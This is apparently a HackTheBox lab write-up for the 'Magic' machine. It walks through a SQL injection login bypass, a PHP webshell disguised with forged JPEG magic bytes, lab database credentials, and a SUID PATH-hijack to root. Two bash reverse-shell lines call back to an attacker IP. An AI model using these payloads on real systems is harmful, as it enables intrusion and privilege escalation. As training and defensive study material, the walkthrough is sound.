Overview

Magic is a medium HackTheBox Linux machine centred on an image gallery application. A classic SQL injection bypasses its login form and reaches an upload feature, whose weak file-type validation is defeated by forging JPEG magic bytes ahead of a PHP webshell payload. A database file recovered from the webroot yields MySQL credentials for lateral movement to a second user, and privilege escalation exploits a SUID binary that calls an external tool by relative path, allowing that call to be hijacked with a malicious binary placed earlier in $PATH.

Attack Chain

  • Scan the target and identify SSH on port 22 and an HTTP service on port 80
  • Find an image gallery site with a login form, and rule out default credentials
  • Bypass the login with a basic SQL injection payload
  • Reach an image upload page and confirm uploads are restricted to JPG, JPEG, and PNG
  • Forge JPEG magic bytes ahead of a PHP webshell to bypass the file-type filter
  • Fuzz the site to find the /images/uploads directory, which is forbidden to browse directly
  • Access the uploaded webshell directly by its known filename
  • Get a reverse shell as www-data
  • Find a database file in the application’s webroot containing credentials
  • Enumerate the MySQL database over a ligolo tunnel and recover a second credential pair
  • Use su with the new credentials to switch to theseus and read the user flag
  • Find an unusual SUID binary, /bin/sysinfo
  • Use ltrace to observe it calling lshw via a relative path through popen
  • Plant a malicious lshw script in /tmp and prepend it to $PATH
  • Re-run /bin/sysinfo to trigger the hijacked binary and catch a root shell
  • Read the root flag

Enumeration

Port Scanning

We start by defining the target and running a full TCP port scan.

export IP=10.129.2.219; export NAME=MAGIC; echo $IP; echo $NAME; ping $IP -c 1

nmap --min-rate 4500 --max-rtt-timeout 1500ms $IP -p- -v -oA scans/nmap_allports_$NAME

The open TCP ports are:

22,80

We export the discovered ports and run a service and version scan.

ports=$(cat scans/nmap_allports_$NAME.nmap | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//); echo $ports

nmap $IP -p$ports -A -oA scans/nmap_initial_$NAME -v

nmap results


Web Enumeration

Login Bypass via SQL Injection

Browsing to port 80 shows an image gallery site with a Login link at the bottom.

image gallery home page

We navigate to the login page. A few combinations of default credentials don’t work.

login page

We bypass the login with a basic SQL injection payload:

' or 1=1 -- -

SQL injection login bypass


Foothold

Bypassing the Upload Filter

We’re directed to an upload page.

upload page

We select a .jpeg file and it uploads successfully.

jpeg upload succeeds

We confirm this by browsing to the home gallery page.

confirming the upload in the gallery

We try uploading a PHP webshell and get an error that only JPG, JPEG, and PNG files are allowed.

PHP upload blocked by file type filter

We also try renaming our webshell to webshell.php.jpeg, and still get an error.

renamed upload still blocked

We try forging JPEG magic bytes at the start of the webshell instead. See here for a reference list of file signatures:

https://en.wikipedia.org/wiki/List_of_file_signatures

We add the JPEG magic bytes to a file called webshell.php.jpeg with xxd.

echo 'FF D8 FF DB' | xxd -p -r > webshell.php.jpeg

We then append our wwwolf-php-webshell payload after the magic bytes.

cat webshell.php >> webshell.php.jpeg

This time, the upload succeeds.

uploading the magic-bytes webshell payload

Locating and Triggering the Webshell

Our payload doesn’t show up in the gallery, so we fuzz the site to find an upload directory.

dirsearch -u http://$IP:$PORT -t 100 -o ./scans/dirsearch_${NAME}_${PORT}_default.txt -r

Filtering the results with awk for 200 and 300 responses, we find an interesting /images/uploads folder.

dirsearch finds /images/uploads

Navigating there directly gives a 403 Forbidden error.

/images/uploads is forbidden to browse

We may not be able to browse the folder, but we can still access our uploaded webshell.php.jpeg by name.

accessing the webshell directly

We use a Bash reverse shell payload.

bash -c 'bash -i >& /dev/tcp/10.10.14.137/443 0>&1'

sending the reverse shell payload

We have a shell as www-data.

shell as www-data


Lateral Movement

Recovering Database Credentials

We look in /var/www/Magic, the main folder for the gallery app, and find a database file.

database file in the webroot

We find credentials inside it.

credentials in the database file

theseus:iamkingtheseus

These credentials don’t work for SSH on their own.

Enumerating MySQL

We check listening ports and see the database service running on port 3306.

listening ports show MySQL on 3306

mysql isn’t installed on the target, so we create a ligolo tunnel to reach the database from our attacking machine.

mysql -u theseus -p'iamkingtheseus' -h 240.0.0.1 -P 3306 --skip-ssl

Our enumeration commands:

show databases;
use Magic;
show tables;
select * from login;

We find more credentials.

credentials recovered from the database

admin:Th3s3usW4sK1ng

We use su theseus with the extracted password to switch users.

switching to theseus with su

We read the user flag.

user flag


Privilege Escalation

Finding an Unusual SUID Binary

We look for binaries with the SUID bit set.

searching for SUID binaries - part 1

searching for SUID binaries - part 2

We find /bin/sysinfo, which is out of the ordinary. Running it produces a bunch of system information.

running sysinfo - output part 1

running sysinfo - output part 2

Path Hijacking with ltrace

We use ltrace to see if anything interesting stands out.

ltrace /bin/sysinfo

We immediately see it uses popen to run an lshw command via a relative path.

ltrace reveals lshw called via popen

We can abuse this by creating a malicious lshw binary and prepending /tmp to the $PATH variable, so our version resolves first.

We navigate to /tmp and write a basic Bash reverse shell:

#!/bin/bash
bash -i >& /dev/tcp/10.10.14.137/443 0>&1

We create the payload and make it executable.

creating the malicious lshw payload

We add /tmp to the $PATH variable.

export PATH=/tmp:$PATH

exporting the hijacked PATH

We start a penelope listener on port 443 and execute the binary.

/bin/sysinfo

It doesn’t complete like before, a sign that our malicious lshw binary executed instead.

sysinfo hangs, indicating the hijack worked

We catch a shell as root.

shell as root

We read the root flag.

root flag


Key Takeaways

Magic layers two well-known but still very common web weaknesses: an unsanitised login query vulnerable to SQL injection, and a file upload filter that trusts a file’s extension rather than its actual content, defeated by simply prepending the right magic bytes. The privilege escalation is the more instructive part: /bin/sysinfo was granted SUID root but called an external tool by a bare, relative name rather than an absolute path, letting a lower-privileged user redirect that call anywhere they liked by controlling $PATH. Trusting the environment inside a privileged binary is almost always a mistake.